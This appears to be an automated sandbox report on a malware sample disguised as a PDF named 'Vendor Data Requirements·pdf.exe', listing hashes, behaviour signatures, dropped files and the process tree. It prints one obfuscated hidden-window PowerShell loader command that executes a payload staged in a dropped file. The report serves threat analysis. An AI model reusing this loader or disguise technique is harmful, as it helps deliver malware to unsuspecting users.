Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-07-2024 09:49

General

  • Target

    Vendor Data Requirements·pdf.exe

  • Size

    401KB

  • MD5

    f1043033237fa935ef9af72415e657a1

  • SHA1

    b1ce2973b99811fe469ae6b4c450e97d4d4f4a20

  • SHA256

    a03913b0dcf4d9707eb9c74d69b522927e760e9be55effb0e14ebbbaad9177c7

  • SHA512

    1f4971262c297f2fa58234d7787ea384a168633eadce39e9334d9e7f5e5924b40eb47b84cc83ec8c29c62212863f17340a5525007d25f721c900e5583cf8dd3b

  • SSDEEP

    6144:FM23AboMfTvNXDQV1yKE2C7qNIZX8il32bcHXgjv3bO43f1WYq6cVjWZSlhhEV:nGoGNzQ+DZX8M2bc3Av3bO43tW5WZl

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Vendor Data Requirements·pdf.exe
    "C:\Users\Admin\AppData\Local\Temp\Vendor Data Requirements·pdf.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4056
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Vindflj=Get-Content 'C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\delysten.imp';$Byggryn=$Vindflj.SubString(71093,3);.$Byggryn($Vindflj)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3060
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 3060 -s 2452
        3⤵
        • Program crash
        PID:4088
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3060 -ip 3060
    1⤵
      PID:1712

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_t2v2wgla.tnr.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\delysten.imp

      Filesize

      69KB

      MD5

      8172795f7c8cfb7cc597e879d2b0b468

      SHA1

      811797a9309a1bc3429f3bc7735eb6af1a7c80dc

      SHA256

      5339721e47b9ac3dfb81b6d81593e9792c57573541918c0d5ca327128aa4345c

      SHA512

      9718f72091367ed6a02598295a9f35512c6ddb31e3dae9b685060e613c942c755d90418cb4ea31e4bf7ea8967ce34c9356bbf53fafe08a31d851afddd55d7322

    • memory/3060-13-0x0000000073840000-0x0000000073FF0000-memory.dmp

      Filesize

      7.7MB

    • memory/3060-28-0x0000000006420000-0x000000000646C000-memory.dmp

      Filesize

      304KB

    • memory/3060-9-0x000000007384E000-0x000000007384F000-memory.dmp

      Filesize

      4KB

    • memory/3060-14-0x0000000005400000-0x0000000005422000-memory.dmp

      Filesize

      136KB

    • memory/3060-15-0x0000000005D10000-0x0000000005D76000-memory.dmp

      Filesize

      408KB

    • memory/3060-16-0x0000000005D80000-0x0000000005DE6000-memory.dmp

      Filesize

      408KB

    • memory/3060-11-0x00000000055E0000-0x0000000005C08000-memory.dmp

      Filesize

      6.2MB

    • memory/3060-26-0x0000000005DF0000-0x0000000006144000-memory.dmp

      Filesize

      3.3MB

    • memory/3060-27-0x00000000063D0000-0x00000000063EE000-memory.dmp

      Filesize

      120KB

    • memory/3060-12-0x0000000073840000-0x0000000073FF0000-memory.dmp

      Filesize

      7.7MB

    • memory/3060-29-0x00000000073A0000-0x0000000007436000-memory.dmp

      Filesize

      600KB

    • memory/3060-30-0x0000000006910000-0x000000000692A000-memory.dmp

      Filesize

      104KB

    • memory/3060-31-0x0000000006930000-0x0000000006952000-memory.dmp

      Filesize

      136KB

    • memory/3060-32-0x00000000079F0000-0x0000000007F94000-memory.dmp

      Filesize

      5.6MB

    • memory/3060-10-0x0000000002E00000-0x0000000002E36000-memory.dmp

      Filesize

      216KB

    • memory/3060-34-0x0000000008620000-0x0000000008C9A000-memory.dmp

      Filesize

      6.5MB

    • memory/3060-36-0x0000000073840000-0x0000000073FF0000-memory.dmp

      Filesize

      7.7MB